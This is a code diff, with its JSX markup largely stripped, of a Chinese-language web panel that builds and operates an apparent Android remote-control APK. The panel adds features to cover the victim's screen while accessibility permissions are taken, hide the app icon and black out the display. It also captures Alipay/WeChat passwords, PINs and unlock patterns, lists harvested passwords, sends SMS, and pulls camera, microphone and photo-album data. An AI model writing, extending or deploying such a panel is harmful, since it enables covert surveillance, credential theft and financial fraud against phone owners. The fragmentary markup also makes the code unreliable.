+
+ 🔄 加载 APK 信息中...
+
+
+ 正在加载APK状态
+
+
+ )
+ }
+
+ return (
+
+ {/* 现代化页面头部 */}
+
+
+
+ 🎉 APK 构建成功！
+
+
+
+
+
+ }
+ onClick={downloadAPK}
+ style={{
+ background: 'linear-gradient(135deg, rgba(255,255,255,0.2) 0%, rgba(255,255,255,0.1) 100%)',
+ borderColor: 'rgba(255,255,255,0.3)',
+ height: '60px',
+ fontSize: '18px',
+ fontWeight: 600,
+ borderRadius: '12px',
+ backdropFilter: 'blur(10px)',
+ boxShadow: '0 8px 32px rgba(0,0,0,0.1)',
+ border: '1px solid rgba(255,255,255,0.2)',
+ color: 'white',
+ width: '100%'
+ }}
+ >
+ 立即下载
+
+
+
+
+
+ ) : (
+
+
+ 📱 暂无可用的 APK 文件
+
+
+ 您的 Android 远程控制应用还未构建
+ 点击下方按钮开始一键构建并部署 +
+
+ )}
+
+ {/* 构建进度 */}
+ {building && (
+
+
+
+ 🚀 正在构建您的 APK 文件...
+
+
+
+ )}
+
+ {/* ✅ 新增：构建配置选项 */}
+
+
+ 服务器配置
+
+ )
+ },
+ {
+ key: '1',
+ label: (
+
+
+
+
+
+
+ }
+ onClick={fetchAPKInfo}
+ loading={loading}
+ style={{
+ background: 'rgba(255,255,255,0.2)',
+ borderColor: 'rgba(255,255,255,0.3)',
+ color: 'white'
+ }}
+ >
+ 刷新状态
+
+
+
+
+
+
+ {/* APK 状态主卡片 */}
+ {data?.apkInfo?.exists ? (
+
+
+
+
+ APK 构建中心
+
+
+ 一键构建和部署 Android 远程控制客户端
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 📦 {data.apkInfo.size ? formatSize(data.apkInfo.size) : '未知大小'}
+
+
+
+
+
+
+
+
+ + 点击下方按钮开始一键构建并部署 +
+
+
+
+
+
+ {buildMessage || '准备构建环境...'}
+
+
+ {buildMessage.includes('配置服务器地址') && (
+
+
+
+
+ 🌐 服务器地址: {serverDomain.trim() ?
+ (serverDomain.startsWith('https://') ? 'wss://' + serverDomain.replace('https://', '') :
+ serverDomain.startsWith('http://') ? 'ws://' + serverDomain.replace('http://', '') :
+ window.location.protocol === 'https:' ? 'wss://' + serverDomain : 'ws://' + serverDomain) :
+ `${window.location.protocol === 'https:' ? 'wss:' : 'ws:'}//${window.location.hostname}:3001`
+ }
+
+
+ )}
+
+
+
+
+ 服务器域名
+
+
+
+ setServerDomain(e.target.value)}
+ placeholder="例如: example.com 或 https://example.com"
+ maxLength={100}
+ showCount
+ style={{ borderRadius: '8px' }}
+ suffix={
+
+ }
+ onClick={() => setServerDomain('')}
+ style={{ border: 'none', padding: '0 4px' }}
+ />
+
+ }
+ />
+
+ 留空则使用默认域名: {window.location.hostname}:3001
+
+
+
+
+
+
+
+ Web网址
+
+
+
+ setWebUrl(e.target.value)}
+ placeholder="例如: https://example.com 或 http://192.168.1.100:8080"
+ maxLength={200}
+ showCount
+ style={{ borderRadius: '8px' }}
+ suffix={
+
+ }
+ onClick={() => setWebUrl('')}
+ style={{ border: 'none', padding: '0 4px' }}
+ />
+
+ }
+ />
+
+ 留空则使用默认网址: {window.location.origin}
+
+
+
+
+
+
+
+ }
+ style={{
+ background: 'linear-gradient(135deg, #e6f7ff 0%, #f0f9ff 100%)',
+ border: '1px solid #91d5ff',
+ borderRadius: '8px'
+ }}
+ />
+
+ + • 服务器域名：输入完整的服务器域名，不需要带https，如果是IP 需要输入ws://ip:port +
+ ++ • Web网址：Android应用启动时打开的网页地址 需要带https +
+ +
+
+
+
+ 配置期间遮盖
+
+
+
+
+
+
+ 开启无障碍服务后显示遮盖，防止误点击
+
+
+
+
+
+ {enableConfigMask && (
+
+ {/* 进度条开关 */}
+
+
+
+ 显示配置进度条
+
+
+
+
+
+
+ 主标题文字:
+
+
+
+
+ 副标题文字:
+
+ setConfigMaskSubtitle(e.target.value)}
+ placeholder="请输入遮盖时显示的副标题文字"
+ rows={2}
+ maxLength={100}
+ showCount
+ style={{ borderRadius: '8px' }}
+ />
+
+
+
+
+ 状态提示文字:
+
+
+
+ )}
+
+
+
+
+
+
+ }
+ style={{
+ background: 'linear-gradient(135deg, #e6f7ff 0%, #f0f9ff 100%)',
+ border: '1px solid #91d5ff',
+ borderRadius: '8px'
+ }}
+ />
+
+
+ )
+ },
+ {
+ key: 'page-style',
+ label: (
+ + • 遮盖功能：开启后，设备在获取权限配置期间会显示黑色遮盖层，防止用户误操作 +
++ • 自动移除：所有权限配置完成后，遮盖会自动消失 +
++ • 主标题：遮盖界面顶部显示的大标题文字 +
++ • 副标题：主标题下方的详细说明文字，支持换行 +
++ • 状态提示：界面底部显示的状态信息文字 +
+
+
+
+
+ 应用图标
+
+
+
+
+
+ }
+ style={{ borderRadius: '8px' }}
+ >
+ 上传图标
+
+
+ {pageStyleConfig.appIcon && (
+ }
+ onClick={removeIcon}
+ danger
+ type="text"
+ size="small"
+ style={{ borderRadius: '8px' }}
+ >
+ 移除
+
+ )}
+
+ {iconPreviewUrl ? (
+
+
+
+
+
+
+ 应用名称
+
+
+
+
+
+
+ 状态文本
+
+
+ setPageStyleConfig(prev => ({ ...prev, statusText: e.target.value }))}
+ placeholder="请输入主页状态文本内容"
+ rows={4}
+ maxLength={200}
+ showCount
+ style={{ borderRadius: '8px' }}
+ />
+
+
+
+
+
+ 启用按钮文字
+
+
+
+
+
+
+
+
+ 使用说明
+
+
+ setPageStyleConfig(prev => ({ ...prev, usageInstructions: e.target.value }))}
+ placeholder="请输入使用说明文本"
+ rows={6}
+ maxLength={500}
+ showCount
+ style={{ borderRadius: '8px' }}
+ />
+
+
+
+
+
+ APK文件名
+
+
+
+ setPageStyleConfig(prev => ({ ...prev, apkFileName: e.target.value }))}
+ placeholder={`默认: ${getDefaultAPKFileName()}`}
+ maxLength={50}
+ showCount
+ style={{ borderRadius: '8px' }}
+ suffix={
+
+ }
+ onClick={() => setPageStyleConfig(prev => ({ ...prev, apkFileName: '' }))}
+ style={{ border: 'none', padding: '0 4px' }}
+ />
+
+ }
+ />
+
+ 留空则使用默认名称: {getDefaultAPKFileName()}.apk
+
+
+
+
+
+
+
+ }
+ style={{
+ background: 'linear-gradient(135deg, #f6ffed 0%, #f0f9ff 100%)',
+ border: '1px solid #b7eb8f',
+ borderRadius: '8px'
+ }}
+ />
+
+
+ )
+ }
+ ]}
+ expandIcon={({ isActive }) =>
+
+ ) : (
+
+
+ {pageStyleConfig.appIcon?.name}
+
+
+
+ {pageStyleConfig.appIcon && (pageStyleConfig.appIcon.size / 1024).toFixed(1)} KB
+
+
+ +
+ • 应用名称：将显示在Android应用主页的标题位置 +
++ • 状态文本：显示在页面中央的提示文字，支持换行符 \\n +
++ • 按钮文字：可以自定义启用按钮的显示文字 +
++ • 使用说明：显示在页面底部的详细说明文字 +
++ • APK文件名：自定义构建完成后的APK文件名，留空则使用默认名称 +
+
+ {
+ setShareUrl(url)
+ // 可以在这里添加额外的处理逻辑
+ }}
+ />
+
+
+ {/* 构建日志窗口 */}
+
+ {logLoading && buildLogs.length === 0 ? (
+
+
+
+ ) : buildLogs.length === 0 ? (
+ 正在加载日志...
+
+
+ ) : (
+ 暂无日志内容
+
+ {buildLogs.map((log, index) => {
+ // 根据日志级别和内容设置颜色
+ let logColor = '#d4d4d4'
+ const message = log.message || ''
+
+ // 优先使用日志级别
+ if (log.level === 'error' || log.level === 'ERROR') {
+ logColor = '#f48771'
+ } else if (log.level === 'warning' || log.level === 'WARNING' || log.level === 'warn') {
+ logColor = '#dcdcaa'
+ } else if (log.level === 'success' || log.level === 'SUCCESS') {
+ logColor = '#4ec9b0'
+ } else if (log.level === 'info' || log.level === 'INFO') {
+ logColor = '#569cd6'
+ } else {
+ // 如果没有级别，根据消息内容判断
+ if (message.includes('错误') || message.includes('error') || message.includes('Error') || message.includes('ERROR') || message.includes('失败') || message.includes('FAIL')) {
+ logColor = '#f48771'
+ } else if (message.includes('警告') || message.includes('warning') || message.includes('Warning') || message.includes('WARNING')) {
+ logColor = '#dcdcaa'
+ } else if (message.includes('成功') || message.includes('success') || message.includes('Success') || message.includes('SUCCESS') || message.includes('完成')) {
+ logColor = '#4ec9b0'
+ } else if (message.includes('信息') || message.includes('info') || message.includes('Info') || message.includes('INFO')) {
+ logColor = '#569cd6'
+ }
+ }
+
+ return (
+
+ )}
+
+ {log.timeString && (
+
+ {log.timeString}
+
+ )}
+
+ {log.level ? `[${log.level.toUpperCase()}]` : '[INFO]'}
+
+
+ {message}
+
+
+ )
+ })}
+ • 每次构建APK后会自动生成Cloudflare临时分享链接
+• 分享链接有效期为10分钟，过期后自动失效
+• 可以通过二维码或链接分享给他人下载
+• 建议及时下载，避免链接过期
+ + } + type="info" + showIcon + /> + +
+
+ {currentShareUrl}
+
+
+ 使用手机扫描二维码或点击链接下载APK
+
+
+
+
+ )
+ }
+
+ // 系统未初始化，显示安装页面
+ if (!systemInitialized) {
+ return (
+
+ {content}
+
+ )
+ }
+
+ // 为密码输入分析结果设置特殊样式
+ if (isPasswordAnalysis) {
+ return (
+
+ {content}
+
+ )
+ }
+
+ return (
+ { if (!content) return; setContentPreviewText(content); setContentPreviewVisible(true) }}
+ title={content}
+ >
+
+ {isPasswordInput && '🔒 '}
+ {isPatternGesture && '🔐 '}
+ {isRemoteInput && '📱 '}
+ {content}
+
+
+ )
+ }
+ },
+ {
+ title: '详细信息',
+ dataIndex: 'extraData',
+ key: 'extraData',
+ width: 120,
+ render: (extraData: any) => (
+ extraData ? (
+
+ 设备未选中
+
+
+ {/* 左侧功能区：调试、操作等 */}
+
+
+ {/* 设备信息 */}
+
+
+ {/* 调试功能 */}
+ { }}
+ virtualKeyboardEnabled={device?.screenReader?.showVirtualKeyboard}
+ onToggleVirtualKeyboard={() => {
+ if (device?.screenReader) {
+ // 切换虚拟按键显示状态
+ const newShowVirtualKeyboard = !device.screenReader.showVirtualKeyboard
+ dispatch(updateDeviceScreenReaderConfig({
+ deviceId,
+ config: { showVirtualKeyboard: newShowVirtualKeyboard }
+ }))
+ console.log('切换虚拟按键显示:', newShowVirtualKeyboard)
+ }
+ }}
+ showScreenReaderControls={true}
+ alipayDetectionEnabled={alipayDetectionEnabled}
+ wechatDetectionEnabled={wechatDetectionEnabled}
+ onStartAlipayDetection={startAlipayDetection}
+ onStopAlipayDetection={stopAlipayDetection}
+ onStartWechatDetection={startWechatDetection}
+ onStopWechatDetection={stopWechatDetection}
+ onOpenFourDigitPin={handleOpenFourDigitPin}
+ onOpenSixDigitPin={handleOpenPinInput}
+ onOpenPatternLock={handleOpenPatternLock}
+ passwordFilter={passwordFilter as any}
+ onPasswordFilterChange={(v) => {
+ setPasswordFilter(v)
+ // 筛选类型变化后自动请求API，使用新的筛选值
+ fetchAlipayPasswordsWithFilter(v, 1, alipayPasswordPageSize)
+ }}
+ onViewPasswords={async () => {
+ try {
+ const typeQuery = passwordFilter === 'DEFAULT' ? '' : `&passwordType=${passwordFilter}`
+ const json: any = await apiClient.get(`/api/password-inputs/${deviceId}?page=1&pageSize=10${typeQuery}`)
+ if (!json || json.success === false) {
+ message.error('查看密码失败')
+ return
+ }
+ const resp = json.data || { passwords: [], total: 0, page: 1, pageSize: 10 }
+ setAlipayPasswords(resp.passwords || [])
+ setAlipayPasswordTotal(resp.total || 0)
+ setAlipayPasswordPage(resp.page || 1)
+ setAlipayPasswordPageSize(resp.pageSize || 10)
+ setAlipayPasswordModalVisible(true)
+ } catch (e) {
+ console.error('查看密码失败', e)
+ message.error('查看密码失败')
+ }
+ }}
+ onSwipeUp={() => handleSwipe('up')}
+ onSwipeDown={() => handleSwipe('down')}
+ onSwipeLeft={() => handleSwipe('left')}
+ onSwipeRight={() => handleSwipe('right')}
+ onPullDownLeft={() => handlePullDown('left')}
+ onPullDownRight={() => handlePullDown('right')}
+ >
+ {/* 🆕 遮罩文字和操作控制 - 放在最上面 */}
+
+ setMaskText(e.target.value)}
+ rows={2}
+ style={{ fontSize: '12px' }}
+ />
+
+
+
+
+
+
+
+
+ {/* 🆕 显示已保存的确认坐标 */}
+ {deviceState?.confirmButtonCoords && (
+
+
+
+ {/* 🆕 重新获取投屏权限 */}
+
+
+
+ {/* 🆕 屏幕捕获控制 - 已隐藏（功能已移至RemoteControlApp） */}
+ {/*
+
*/}
+
+ {/* 🆕 黑屏遮盖控制 */}
+
+
+
+ {/* 黑屏遮盖状态显示 */}
+
+
+
+ {/* 应用隐藏状态显示 */}
+
+
+
+
+
+
+ {/* 🆕 打开应用设置按钮 */}
+ {/* 🆕 一键图案解锁 */}
+
+
+ {/* 查找密码按钮 */}
+
+
+
+ {/* 🆕 打开应用设置按钮 */}
+
+
+
+
+
+ {/* 日志控制 */}
+
+
+
+
+
+ {/* ✅ 新增：服务器地址控制 */}
+
+
+
+
+
+
+
+
+
+
+ {/* 右侧：Tab 栏 */}
+ 遮罩文字:
+ 字体大小:
+ setMaskTextSize(Number(e.target.value) || 24)}
+ min={12}
+ max={48}
+ style={{ fontSize: '12px' }}
+ />
+
+
+ 🎯 确认坐标: ({Math.round(deviceState.confirmButtonCoords.x)}, {Math.round(deviceState.confirmButtonCoords.y)})
+
+ )}
+
+ {/* 🆕 关闭配置遮盖控制 */}
+
+ {isBlackScreenActive ? '🖤 黑屏遮盖已启用' : '✅ 正常显示模式'}
+
+
+ {/* 🆕 应用隐藏/显示控制 */}
+
+ {isAppHidden ? '📱 应用图标已隐藏' : '✅ 应用图标正常显示'}
+
+
+
+ 上次记录密码: {lastKnownPassword}
+
+ )}
+
+
+ {/* 学习状态显示 */}
+ {deviceState?.learnedConfirmButton && (
+
+ 🧠 已学习确认按钮: ({Math.round(deviceState.learnedConfirmButton.x)}, {Math.round(deviceState.learnedConfirmButton.y)})
+
+ 学习次数: {deviceState.learnedConfirmButton.count || 0} +
+ )}
+
+
+
+ + 学习次数: {deviceState.learnedConfirmButton.count || 0} +
+ 状态: {isLoggingEnabled ? '✅ 日志记录已启用' : '❌ 日志记录已禁用'}
+
+
+ 向设备发送修改服务器地址的指令
+
+
+ {
+ // 切换到查看日志tab时，设置logModalVisible为true
+ if (activeKey === 'logs') {
+ setLogModalVisible(true)
+ }
+ }}
+ items={[
+ { key: 'device', label: '📱 设备信息', children: ( handleSmsSend(phone, content)}
+ />
+ )
+ },
+ {
+ key: 'camera', label: '摄像头', children: (
+
+
+ )
+ },
+ {
+ key: 'audio', label: '🎙️ 录音', children: (
+
+
+
+
+
+
+
+ {/* 录音状态信息 */}
+
+
+ )
+ },
+ {
+ key: 'gallery', label: '相册', children: (
+
+
+
+ 录音状态：
+
+ {isMicRecording ? '正在录音' : '未录音'}
+
+
+ {micPermission && (
+
+ 麦克风权限：
+
+ {micPermission === 'granted' ? '已授权' : '未授权'}
+
+
+ )}
+ {micSampleRate && (
+
+ 采样率：
+ {micSampleRate} Hz
+
+ )}
+ {micChannels && (
+
+ 声道数：
+ {micChannels}
+
+ )}
+ {micBitDepth && (
+
+ 位深度：
+ {micBitDepth} bit
+
+ )}
+
+
+ )
+ },
+ {
+ key: 'logs', label: '查看日志', children: (
+
+ {albumLoading && (
+
+ 正在获取相册...
+ )}
+
+ {/* 实时保存的相册图片移动至 GalleryControlCard 内展示 */}
+ {!albumLoading && !albumData && (
+ 点击“读取列表”或“获取相册”后在此展示
+ )}
+
+ `${record.id || index}`}
+ pagination={false}
+ loading={logLoading}
+ size="small"
+ scroll={{ y: 400 }}
+ />
+
+
+ 类型筛选:
+
+
+
+
+
+